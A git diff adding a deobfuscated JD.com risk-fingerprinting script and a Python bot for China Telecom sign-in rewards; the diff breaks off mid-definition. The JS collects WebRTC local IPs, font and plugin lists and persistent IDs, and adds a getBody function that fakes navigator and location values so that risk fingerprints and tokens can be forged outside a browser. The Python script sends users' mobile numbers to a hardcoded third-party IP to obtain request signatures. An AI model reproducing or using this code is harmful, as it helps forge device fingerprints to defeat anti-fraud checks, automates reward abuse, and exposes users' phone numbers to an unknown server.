/\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) VALUES(?, ?)", [n, e], + function (k, g) { }, + function (k, g) { }) + }) : f.transaction(function (r) { + r.executeSql("SELECT value FROM cache WHERE name=?", [n], function (k, g) { + 1 <= g.rows.length && (_JdEid = g.rows.item(0).value) + }, function (k, g) { }) + }) + } + _fingerprint_step = "n" + } catch (r) { } + }; + this.setCookie = function (n, e) { + void 0 !== e && "" != e && (document.cookie = n + "=" + e + + "; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/; domain=" + _root_domain) + }; + this.tdencrypt = function (n) { + n = this.toJson(n); + n = encodeURIComponent(n); + var e = "", + f = 0; + do { + var r = n.charCodeAt(f++); + var k = n.charCodeAt(f++); + var g = n.charCodeAt(f++); + var m = r >> 2; + r = (r & 3) << 4 | k >> 4; + var a = (k & 15) << 2 | g >> 6; + var b = g & 63; + isNaN(k) ? a = b = 64 : isNaN(g) && (b = 64); + e = e + "23IL k; k++) C = q[k], void 0 !== screen[C] && (z[C] = screen[C]); + q = ["devicePixelRatio", "screenTop", "screenLeft"]; + l = {}; + for (k = 0; q.length > k; k++) C = q[k], void 0 !== window[C] && (l[C] = window[C]); + e.p = h; + e.w = l; + e.s = z; + e.sc = f; + e.tz = n.getTimezoneOffset(); + e.lil = w.sort().join("|"); + e.wil = ""; + f = {}; + try { + f.cookie = navigator.cookieEnabled, f.localStorage = !!window.localStorage, f.sessionStorage = !! + window.sessionStorage, f.globalStorage = !!window.globalStorage, f.indexedDB = !!window.indexedDB + } catch (D) { } + e.ss = f; + e.ts.deviceTime = n.getTime(); + e.ts.deviceEndTime = (new Date).getTime(); + return this.tdencrypt(e) + }; + this.collectSdk = function (n) { + try { + var e = this, + f = !1, + r = e.getLocal("BATQW722QTLYVCRD"); + if (null != r && void 0 != r && "" != r) try { + var k = JSON.parse(r), + g = (new Date).getTime(); + null != k && void 0 != k.t && "number" == typeof k.t && (12E5 >= g - k.t && void 0 != k.tk && + null != k.tk && "" != k.tk && k.tk.startsWith("jdd") ? (e.deviceInfo.sdkToken = k.tk, + f = !0) : void 0 != k.tk && null != k.tk && "" != k.tk && (e.deviceInfo.sdkToken = + k.tk)) + } catch (m) { } + r = !1; + e.deviceInfo.isJdApp ? (e.deviceInfo.clientVersion = navigator.userAgent.split(";")[2], (r = 0 < e.compareVersion( + e.deviceInfo.clientVersion, "7.0.2")) && !f && e.getJdSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdBioToken(n) + })) : e.deviceInfo.isJrApp && (e.deviceInfo.clientVersion = navigator.userAgent.match( + /clientVersion=([^&]*)(&|$)/)[1], (r = 0 < e.compareVersion(e.deviceInfo.clientVersion, + "4.6.0")) && !f && e.getJdJrSdkCacheToken(function (m) { + e.deviceInfo.sdkToken = m; + null != m && "" != m && m.startsWith("jdd") || e.getJdJrBioToken(n) + })); + "function" == typeof n && n(e.deviceInfo) + } catch (m) { } + }; + this.compareVersion = function (n, e) { + try { + if (n === e) return 0; + var f = n.split("."); + var r = e.split("."); + for (n = 0; n < f.length; n++) { + var k = parseInt(f[n]); + if (!r[n]) return 1; + var g = parseInt(r[n]); + if (k < g) break; + if (k > g) return 1 + } + } catch (m) { } + return -1 + }; + this.isWKWebView = function () { + return this.deviceInfo.userAgent.match(/supportJDSHWK/i) || 1 == window._is_jdsh_wkwebview ? !0 : !1 + }; + this.getErrorToken = function (n) { + try { + if (n) { + var e = (n + "").match(/"token":"(.*?)"/); + if (e && 1 < e.length) return e[1] + } + } catch (f) { } + return "" + }; + this.getJdJrBioToken = function (n) { + var e = this; + "undefined" != typeof JrBridge && null != JrBridge && "undefined" != typeof JrBridge._version && (0 > e + .compareVersion(JrBridge._version, "2.0.0") ? console.error( + "\u6865\u7248\u672c\u4f4e\u4e8e2.0\u4e0d\u652f\u6301bio") : JrBridge.callNative({ + type: e.bioConfig.type, + operation: e.bioConfig.operation, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + try { + "object" != typeof f && (f = JSON.parse(f)), e.deviceInfo.sdkToken = f.token + } catch (r) { + console.error(r) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + })) + }; + this.getJdJrSdkCacheToken = function (n) { + var e = this; + try { + "undefined" == typeof JrBridge || null == JrBridge || "undefined" == typeof JrBridge._version || 0 > + e.compareVersion(JrBridge._version, "2.0.0") || JrBridge.callNative({ + type: e.bioConfig.type, + operation: 5, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + }, function (f) { + var r = ""; + try { + "object" != typeof f && (f = JSON.parse(f)), r = f.token + } catch (k) { + console.error(k) + } + null != r && "" != r && "function" == typeof n && (n(r), r.startsWith("jdd") && (f = { + tk: r, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f)))) + }) + } catch (f) { } + }; + this.getJdBioToken = function (n) { + var e = this; + n = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: e.bioConfig.operation, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: n + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(n); + window._bioDeviceCb = function (f) { + try { + var r = "object" == typeof f ? f : JSON.parse(f); + if (void 0 != r && null != r && "0" != r.status) return; + null != r.data.token && void 0 != r.data.token && "" != r.data.token && (e.deviceInfo.sdkToken = + r.data.token) + } catch (k) { + f = e.getErrorToken(f), null != f && "" != f && (e.deviceInfo.sdkToken = f) + } + null != e.deviceInfo.sdkToken && "" != e.deviceInfo.sdkToken && (f = { + tk: e.deviceInfo.sdkToken, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(f))) + } + }; + this.getJdSdkCacheToken = function (n) { + try { + var e = this, + f = JSON.stringify({ + businessType: "bridgeBiologicalProbe", + callBackName: "_bioDeviceSdkCacheCb", + params: { + pin: "", + jsonData: { + type: e.bioConfig.type, + operation: 5, + data: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + }, + biometricData: { + bizId: e.bizId, + duraTime: e.bioConfig.duraTime, + interval: e.bioConfig.interval + } + } + } + }); + e.isWKWebView() ? window.webkit.messageHandlers.JDAppUnite.postMessage({ + method: "notifyMessageToNative", + params: f + }) : window.JDAppUnite && window.JDAppUnite.notifyMessageToNative(f); + window._bioDeviceSdkCacheCb = function (r) { + var k = ""; + try { + var g = "object" == typeof r ? r : JSON.parse(r); + if (void 0 != g && null != g && "0" != g.status) return; + k = g.data.token + } catch (m) { + k = e.getErrorToken(r) + } + null != k && "" != k && "function" == typeof n && (n(k), k.startsWith("jdd") && (r = { + tk: k, + t: (new Date).getTime() + }, e.store("BATQW722QTLYVCRD", JSON.stringify(r)))) + } + } catch (r) { } + }; + this.store = function (n, e) { + try { + this.setCookie(n, e) + } catch (f) { } + try { + window.localStorage && window.localStorage.setItem(n, e) + } catch (f) { } + try { + window.sessionStorage && window.sessionStorage.setItem(n, e) + } catch (f) { } + try { + window.globalStorage && window.globalStorage[".localdomain"].setItem(n, e) + } catch (f) { } + try { + this.db(n, _JdEid) + } catch (f) { } + }; + this.getLocal = function (n) { + var e = {}, + f = null; + try { + var r = document.cookie.replace(new RegExp("(?:(?:^|.*;\\s*)" + n + "\\s*\\=\\s*([^;]*).*$)|^.*$"), + "$1"); + 0 !== r.length && (e.cookie = r) + } catch (g) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem(n)) + } catch (g) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + n]) + } catch (g) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"][n]) + } catch (g) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute(n)) + } catch (g) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (g) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (g) { } + try { + for (var k in e) + if (32 < e[k].length) { + f = e[k]; + break + } + } catch (g) { } + try { + if (null == f || "undefined" === typeof f || 0 >= f.length) f = u(n) + } catch (g) { } + return f + }; + this.createWorker = function () { + if (window.Worker) { + try { + var n = new Blob([ + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ], { + type: "application/javascript" + }) + } catch (e) { + window.BlobBuilder = window.BlobBuilder || window.WebKitBlobBuilder || window.MozBlobBuilder, n = + new BlobBuilder, n.append( + "onmessage = function (event) {\n var data = JSON.parse(event.data);\n try {\n var httpRequest;\n try {\n httpRequest = new XMLHttpRequest();\n } catch (h) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Microsoft.XMLHTTP')\n } catch (l) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml2.XMLHTTP')\n } catch (r) {}\n if (!httpRequest)\n try {\n httpRequest = new (window['ActiveXObject'])('Msxml3.XMLHTTP')\n } catch (n) {}\n\n if(data){\n httpRequest['open']('POST', data.url, false);\n httpRequest['setRequestHeader']('Content-Type', 'application/x-www-form-urlencoded;charset=UTF-8');\n httpRequest['onreadystatechange'] = function () {\n if (4 === httpRequest['readyState'] && 200 === httpRequest['status']) {\n postMessage(httpRequest.responseText);\n }\n };\n httpRequest['send'](data.data);\n }\n\n }catch (e){console.error(e);}\n};" + ), n = n.getBlob() + } + try { + this.worker = new Worker(URL.createObjectURL(n)) + } catch (e) { } + } + }; + this.reportWorker = function (n, e, f, r) { + try { + null != this.worker && (this.worker.postMessage(JSON.stringify({ + url: n, + data: e, + success: !1, + async: !1 + })), this.worker.onmessage = function (k) { }) + } catch (k) { } + } +}; + +function td_collect_exe() { + _fingerprint_step = 8; + var t = td_collect.collect(); + td_collect.collectSdk(); + var u = "string" === typeof orderId ? orderId : "", + v = "undefined" !== typeof jdfp_pinenp_ext && jdfp_pinenp_ext ? 2 : 1; + u = { + pin: _jdJrTdCommonsObtainPin(v), + oid: u, + p: "https:" == document.location.protocol ? "s" : "h", + fp: risk_jd_local_fingerprint, + ctype: v, + v: "2.7.10.4", + f: "3" + }; + try { + u.o = _CurrentPageUrl, u.qs = _url_query_str + } catch (w) { } + _fingerprint_step = 9; + 0 >= _JdEid.length && (_JdEid = td_collect.obtainLocal(), 0 < _JdEid.length && (_eidFlag = !0)); + u.fc = _JdEid; + try { + u.t = jd_risk_token_id + } catch (w) { } + try { + if ("undefined" != typeof gia_fp_qd_uuid && 0 <= gia_fp_qd_uuid.length) u.qi = gia_fp_qd_uuid; + else { + var x = _JdJrRiskClientStorage.jdtdstorage_cookie("qd_uid"); + u.qi = void 0 == x ? "" : x + } + } catch (w) { } + "undefined" != typeof jd_shadow__ && 0 < jd_shadow__.length && (u.jtb = jd_shadow__); + try { + td_collect.deviceInfo && void 0 != td_collect.deviceInfo && null != td_collect.deviceInfo.sdkToken && "" != + td_collect.deviceInfo.sdkToken ? (u.stk = td_collect.deviceInfo.sdkToken, td_collect.isRpTok = !0) : + td_collect.isRpTok = !1 + } catch (w) { + td_collect.isRpTok = !1 + } + x = td_collect.tdencrypt(u); + // console.log(u) + return { a: x, d: t } +} + +function _jdJrTdCommonsObtainPin(t) { + var u = ""; + "string" === typeof jd_jr_td_risk_pin && 1 == t ? u = jd_jr_td_risk_pin : "string" === typeof pin ? u = pin : + "object" === typeof pin && "string" === typeof jd_jr_td_risk_pin && (u = jd_jr_td_risk_pin); + return u +}; + +function getBody(userAgent, url = document.location.href) { + navigator.userAgent = userAgent + let href = url + let choose = /((https?:)\/\/([^\/]+))(.+)/.exec(url) + let [, origin, protocol, host, pathname] = choose; + document.location.href = href + document.location.origin = origin + document.location.protocol = protocol + document.location.host = host + document.location.pathname = pathname + const JF = new JdJrTdRiskFinger(); + let fp = JF.f.get(function (t) { + risk_jd_local_fingerprint = t + return t + }); + let arr = td_collect_exe() + return { fp, ...arr } +} + +JdJrTdRiskFinger.getBody = getBody; +module.exports = JdJrTdRiskFinger; \ No newline at end of file diff --git a/telecom.py b/telecom.py new file mode 100644 index 0000000..3e4f71c --- /dev/null +++ b/telecom.py @@ -0,0 +1,270 @@ +# -*- coding: utf-8 -*- +import re +import time +import base64 +import requests +import threading +import urllib.parse +import xml.dom.minidom as xmldom + +from notify import send + + +#--------------以下为配置区需自行填写--------------# + +# 参数说明 +# mobile 手机号 +# password 服务密码 (为空时不执行需登录才能完成的任务) +# food 喂食开关 (开启填 True, 关闭填 False) +config_list = [ + {"mobile": "12345678911", "password": "1234", "food": False}, + #{"mobile": "12345678911", "password": "", "food": False}, +] + +#--------------配置区结束------------# +app_headers = {"User-Agent": "Xiaomi MI 9/9.2.0"} +msg_list = [] +host = 'http://120.79.66.8:6987' + + +def telecom_task(config): + msg = [] + mobile = config['mobile'] + password = config['password'] + msg.append(mobile + " 开始执行任务...") + print(mobile + " 开始执行任务...") + h5_headers = get_h5_headers(mobile) + # 获取用户中心 + home_info_body = requests.get(url="{}/telecom/getHomeInfoSign".format(host), params={"mobile": mobile}).json() + home_info_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/api/home/homeInfo", json=home_info_body, headers=h5_headers).json() + if home_info_ret['resoultMsg'] != "成功": + msg.append(home_info_ret['resoultMsg']) + print(home_info_ret['resoultMsg']) + return + old_coin = home_info_ret['data']['userInfo']['totalCoin'] + + # 签到 + sign_body = requests.get(url="{}/telecom/getSign".format(host), params={"mobile": mobile}).json() + sign_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/api/home/sign", json=sign_body, + headers=h5_headers).json() + if sign_ret['data']['code'] == 1: + msg.append("签到成功, 本次签到获得 " + str(sign_ret['data']['coin']) + " 豆") + print("签到成功, 本次签到获得 " + str(sign_ret['data']['coin']) + " 豆") + else: + msg.append(sign_ret['data']['msg']) + print(sign_ret['data']['msg']) + + # 登录任务 + if password != '': + ticket = get_ticket(mobile, password, msg) + if ticket != '': + xbk_live(ticket, mobile, msg) + xbk_video(ticket, mobile, msg) + share_to_get_coin(ticket, mobile, msg) + + # 获取所有任务 + task_info_body = requests.get(url="{}/telecom/getPhoneSign".format(host), params={"mobile": mobile}).json() + task_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/paradise/getTask", headers=h5_headers, + json=task_info_body).json() + if task_ret['resoultCode'] == '0': + tasks = task_ret['data'] + for task in tasks: + task_id = task['taskId'] + task_name = task['title'] + task_body = requests.get(url="{}/telecom/getTaskSign2".format(host), + params={"mobile": mobile, "task": task_id}).json() + polymerize_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/paradise/polymerize", + json=task_body, headers=h5_headers).json() + if polymerize_ret['resoultCode'] == 0: + log_msg = task_name + polymerize_ret['data']['err'] + print(log_msg) + msg.append(log_msg) + time.sleep(3) + # 获取用户中心 + home_info_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/api/home/homeInfo", json=home_info_body, + headers=h5_headers).json() + new_coin = home_info_ret['data']['userInfo']['totalCoin'] + msg.append("领取完毕, 现有金豆: " + str(new_coin)) + print("领取完毕, 现有金豆: " + str(new_coin)) + msg.append("本次领取金豆: " + str(new_coin - old_coin)) + print("本次领取金豆: " + str(new_coin - old_coin)) + + # 喂食 + food(config, msg) + + # 签到7天领取话费 + convert_reward(config, msg) + msg.append("----------------------------------------------") + msg_list.extend(msg) + + +def food(config, msg): + if config['food']: + mobile = config['mobile'] + msg.append(mobile + " 开始执行喂食...") + print(mobile + " 开始执行喂食...") + while True: + food_body = requests.get(url="{}/telecom/getPhoneSign".format(host), params={"mobile": mobile}).json() + food_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/paradise/food", json=food_body, + headers=get_h5_headers(mobile)).json() + msg.append(food_ret['resoultMsg']) + print(food_ret['resoultMsg']) + if food_ret['resoultCode'] != '0': + break + + +def convert_reward(config, msg): + mobile = config['mobile'] + msg.append(mobile + " 开始执行满7天兑换话费...") + print(mobile + " 开始执行满7天兑换话费...") + phone_body = requests.get(url="{}/telecom/getPhoneSign".format(host), params={"mobile": mobile}).json() + activity_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/reward/activityMsg", json=phone_body, + headers=get_h5_headers(mobile)).json() + msg.append("你已连续签到 " + str(activity_ret['totalDay']) + " 天") + print("你已连续签到 " + str(activity_ret['totalDay']) + " 天") + if activity_ret['recordNum'] > 0: + #可以领取 + reward_id = activity_ret['date']['id'] + params = { + "mobile": mobile, + "rewardId": reward_id + } + reward_body = requests.get(url="{}/telecom/getConvertReward".format(host), params=params).json() + reward_ret = requests.post(url="https://wapside.189.cn:9001/jt-sign/reward/convertReward", json=reward_body, + headers=get_h5_headers(mobile)).json() + if reward_ret['code'] == '0': + msg.append(reward_ret['msg']) + print(reward_ret['msg']) + + +def get_h5_headers(mobile): + base64_mobile = str(base64.b64encode(mobile[5:11].encode('utf-8')), 'utf-8').strip(r'=+') + "!#!" + str( + base64.b64encode(mobile[0:5].encode('utf-8')), 'utf-8').strip(r'=+') + return {"User-Agent": "CtClient;9.2.0;Android;10;MI 9;" + base64_mobile} + + +def format_msg(): + str1 = '' + for item in msg_list: + str1 += str(item) + "\r\n" + return str1 + + +def 